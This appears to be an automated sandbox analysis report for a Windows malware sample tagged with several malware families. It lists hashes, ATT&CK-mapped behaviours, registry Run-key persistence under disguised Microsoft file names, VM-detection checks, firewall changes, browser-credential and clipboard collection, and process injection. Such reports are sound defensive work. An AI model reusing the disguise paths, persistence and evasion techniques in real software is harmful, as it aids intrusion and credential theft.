2ead6da7b48520c34ad6328537005730eeea379cb768ab4f49ab2b53d65e389e

Analysis

max time kernel
50s
max time network
148s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
01/06/2026, 01:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Size 37.0MB
Sample260601-b619babs5x
SHA256 2ead6da7b48520c34ad6328537005730eeea379cb768ab4f49ab2b53d65e389e
MD5 c7daab35ec532d86d81f5d6bfbad9200
SHA1 8a3bf021d155be7cdece9f0ce94c762c5d9752b7
SHA512 f33d481925b9573524273c257defc0021cf18ec1425958f8c05fe6863e5e966a795692f167425011ddc9261ee6d43bd8fba51139f633a6ae4bfb482580b414b0
SSDEEP 393216:61Du8BtuBw2FEL3Z3aLUoQvo6LP/SgbSpYvKEh1EdKwlGQKPJuGsiTfREsrgCYfy:6Mguj8Q4VfvvqFTrYo1k5E5w
TLSH
T14C878B0773E600A5E9B7D1388AA75507D773B8674331CADF329D06152FABAD09A7E320
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

collection defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Enumerates VirtualBox registry keys 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	reg.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	reg.exe

Adds policy Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\SvcHost_4 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\WindowsUpdate\\wuauclt.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\SvcHost_1 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Edge\\Update\\MicrosoftEdgeUpdate.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\SvcHost_2 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Media Player\\wmlaunch.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\SvcHost_3 = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SearchFilterHost.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\MsEdgeAutoUpdate = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\EdgeUpdate\\MsEdgeAutoUpdate.exe"	reg.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4372	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 61 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
932	powershell.exe
5112	powershell.exe
4520	powershell.exe
4516	powershell.exe
2908	powershell.exe
1780	powershell.exe
4372	powershell.exe
1680	powershell.exe
4616	powershell.exe
1268	powershell.exe
1080	powershell.exe
952	powershell.exe
1356	powershell.exe
2128	powershell.exe
2648	powershell.exe
1196	powershell.exe
3368	powershell.exe
3136	powershell.exe
1452	powershell.exe
1980	powershell.exe
1628	powershell.exe
1632	powershell.exe
4416	powershell.exe
2656	powershell.exe
1412	powershell.exe
3040	powershell.exe
1820	powershell.exe
4308	powershell.exe
2968	powershell.exe
3036	powershell.exe
3696	powershell.exe
3736	powershell.exe
4416	powershell.exe
1584	powershell.exe
4488	powershell.exe
1556	powershell.exe
2396	powershell.exe
1632	powershell.exe
4416	powershell.exe
1268	powershell.exe
1452	powershell.exe
1412	powershell.exe
3736	powershell.exe
2128	powershell.exe
4488	powershell.exe
1820	powershell.exe
1628	powershell.exe
1356	powershell.exe
4616	powershell.exe
1196	powershell.exe
1080	powershell.exe
4416	powershell.exe
3036	powershell.exe
1680	powershell.exe
3040	powershell.exe
2648	powershell.exe
3136	powershell.exe
3696	powershell.exe
4308	powershell.exe
2968	powershell.exe
1980	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	reg.exe

Looks for VMWare services registry key. 1 TTPs 2 IoCs

defense_evasion

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmci	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VMMEMCTL	reg.exe

Looks for Xen service registry key. 1 TTPs 1 IoCs

defense_evasion

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\xenevtchn	reg.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3136	netsh.exe
1344	netsh.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
4880	cmd.exe
3320	powershell.exe

Executes dropped EXE 5 IoCs

pid	Process
4272	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
2204	wuauclt.exe
1888	MsEdgeAutoUpdate.exe
2888	MicrosoftEdgeUpdate.exe
2224	SearchFilterHost.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wine	reg.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
3912	cmd.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Network Service Discovery 1 TTPs 2 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
1412	cmd.exe
924	ARP.EXE

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Enumerates processes with tasklist 1 TTPs 7 IoCs

discovery

Process Discovery

T1057

pid	Process
1256	tasklist.exe
1308	tasklist.exe
3248	tasklist.exe
1920	tasklist.exe
1428	tasklist.exe
2520	tasklist.exe
4104	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4524	cmd.exe
5008	cmd.exe
4048	cmd.exe
2284	cmd.exe
3728	cmd.exe
2444	cmd.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 3 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
3468	powershell.exe
2396	powershell.exe
3416	powershell.exe

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 12 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

defense_evasion

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier	MsEdgeAutoUpdate.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier	MicrosoftEdgeUpdate.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier	SearchFilterHost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier	wuauclt.exe
File created	C:\Users\Admin\AppData\Local\Temp\2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 4 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2280	netsh.exe
392	cmd.exe
3496	cmd.exe
776	netsh.exe

System Network Connections Discovery 1 TTPs 2 IoCs

Attempt to get a listing of network connections.

discovery

System Network Connections Discovery

T1049

pid	Process
4608	cmd.exe
1596	NETSTAT.EXE

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2408	WMIC.exe

Gathers network information 2 TTPs 3 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1672	ipconfig.exe
488	ipconfig.exe
1596	NETSTAT.EXE

NTFS ADS 17 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe\:Zone.Identifier:$DATA	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier	wuauclt.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe\:Zone.Identifier:$DATA	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File created	C:\Users\Admin\AppData\Local\Temp\2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe\:Zone.Identifier:$DATA	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe\:Zone.Identifier:$DATA	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier	SearchFilterHost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier	MsEdgeAutoUpdate.exe
File created	C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe\:Zone.Identifier:$DATA	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier	MicrosoftEdgeUpdate.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 16 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3612	schtasks.exe
696	schtasks.exe
3268	schtasks.exe
1308	schtasks.exe
2452	schtasks.exe
4800	schtasks.exe
1984	schtasks.exe
3604	schtasks.exe
468	schtasks.exe
1496	schtasks.exe
4496	schtasks.exe
4300	schtasks.exe
4116	schtasks.exe
2480	schtasks.exe
1616	schtasks.exe
1216	schtasks.exe

Suspicious behavior: EnumeratesProcesses 57 IoCs

pid	Process
1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
4516	powershell.exe
4516	powershell.exe
4516	powershell.exe
4372	powershell.exe
4372	powershell.exe
1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
2908	powershell.exe
2908	powershell.exe
1780	powershell.exe
1780	powershell.exe
1780	powershell.exe
1780	powershell.exe
1780	powershell.exe
932	powershell.exe
932	powershell.exe
1452	powershell.exe
1452	powershell.exe
1820	powershell.exe
1820	powershell.exe
3320	powershell.exe
3320	powershell.exe
4308	powershell.exe
4308	powershell.exe
2968	powershell.exe
2968	powershell.exe
1980	powershell.exe
1980	powershell.exe
1628	powershell.exe
1628	powershell.exe
5112	powershell.exe
1632	powershell.exe
5112	powershell.exe
1632	powershell.exe
4416	powershell.exe
4416	powershell.exe
4520	powershell.exe
4520	powershell.exe
3036	powershell.exe
1556	powershell.exe
1556	powershell.exe
3036	powershell.exe
1356	powershell.exe
1356	powershell.exe
3696	powershell.exe
3696	powershell.exe
2656	powershell.exe
2656	powershell.exe
1412	powershell.exe
1412	powershell.exe
3736	powershell.exe
3736	powershell.exe
2128	powershell.exe
2128	powershell.exe
4488	powershell.exe
4488	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2948	WMIC.exe
Token: SeSecurityPrivilege	2948	WMIC.exe
Token: SeTakeOwnershipPrivilege	2948	WMIC.exe
Token: SeLoadDriverPrivilege	2948	WMIC.exe
Token: SeSystemProfilePrivilege	2948	WMIC.exe
Token: SeSystemtimePrivilege	2948	WMIC.exe
Token: SeProfSingleProcessPrivilege	2948	WMIC.exe
Token: SeIncBasePriorityPrivilege	2948	WMIC.exe
Token: SeCreatePagefilePrivilege	2948	WMIC.exe
Token: SeBackupPrivilege	2948	WMIC.exe
Token: SeRestorePrivilege	2948	WMIC.exe
Token: SeShutdownPrivilege	2948	WMIC.exe
Token: SeDebugPrivilege	2948	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2948	WMIC.exe
Token: SeRemoteShutdownPrivilege	2948	WMIC.exe
Token: SeUndockPrivilege	2948	WMIC.exe
Token: SeManageVolumePrivilege	2948	WMIC.exe
Token: 33	2948	WMIC.exe
Token: 34	2948	WMIC.exe
Token: 35	2948	WMIC.exe
Token: 36	2948	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2948	WMIC.exe
Token: SeSecurityPrivilege	2948	WMIC.exe
Token: SeTakeOwnershipPrivilege	2948	WMIC.exe
Token: SeLoadDriverPrivilege	2948	WMIC.exe
Token: SeSystemProfilePrivilege	2948	WMIC.exe
Token: SeSystemtimePrivilege	2948	WMIC.exe
Token: SeProfSingleProcessPrivilege	2948	WMIC.exe
Token: SeIncBasePriorityPrivilege	2948	WMIC.exe
Token: SeCreatePagefilePrivilege	2948	WMIC.exe
Token: SeBackupPrivilege	2948	WMIC.exe
Token: SeRestorePrivilege	2948	WMIC.exe
Token: SeShutdownPrivilege	2948	WMIC.exe
Token: SeDebugPrivilege	2948	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2948	WMIC.exe
Token: SeRemoteShutdownPrivilege	2948	WMIC.exe
Token: SeUndockPrivilege	2948	WMIC.exe
Token: SeManageVolumePrivilege	2948	WMIC.exe
Token: 33	2948	WMIC.exe
Token: 34	2948	WMIC.exe
Token: 35	2948	WMIC.exe
Token: 36	2948	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1360	WMIC.exe
Token: SeSecurityPrivilege	1360	WMIC.exe
Token: SeTakeOwnershipPrivilege	1360	WMIC.exe
Token: SeLoadDriverPrivilege	1360	WMIC.exe
Token: SeSystemProfilePrivilege	1360	WMIC.exe
Token: SeSystemtimePrivilege	1360	WMIC.exe
Token: SeProfSingleProcessPrivilege	1360	WMIC.exe
Token: SeIncBasePriorityPrivilege	1360	WMIC.exe
Token: SeCreatePagefilePrivilege	1360	WMIC.exe
Token: SeBackupPrivilege	1360	WMIC.exe
Token: SeRestorePrivilege	1360	WMIC.exe
Token: SeShutdownPrivilege	1360	WMIC.exe
Token: SeDebugPrivilege	1360	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1360	WMIC.exe
Token: SeRemoteShutdownPrivilege	1360	WMIC.exe
Token: SeUndockPrivilege	1360	WMIC.exe
Token: SeManageVolumePrivilege	1360	WMIC.exe
Token: 33	1360	WMIC.exe
Token: 34	1360	WMIC.exe
Token: 35	1360	WMIC.exe
Token: 36	1360	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1360	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1212 wrote to memory of 2008	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	80
PID 2008 wrote to memory of 3228	2008	cmd.exe	82
PID 1212 wrote to memory of 1852	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	83
PID 1852 wrote to memory of 2948	1852	cmd.exe	85
PID 1212 wrote to memory of 2476	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	87
PID 2476 wrote to memory of 1360	2476	cmd.exe	89
PID 1212 wrote to memory of 3196	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	90
PID 3196 wrote to memory of 3360	3196	cmd.exe	92
PID 1212 wrote to memory of 2160	1212	2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	93
PID 2160 wrote to memory of 2408	2160	cmd.exe	95
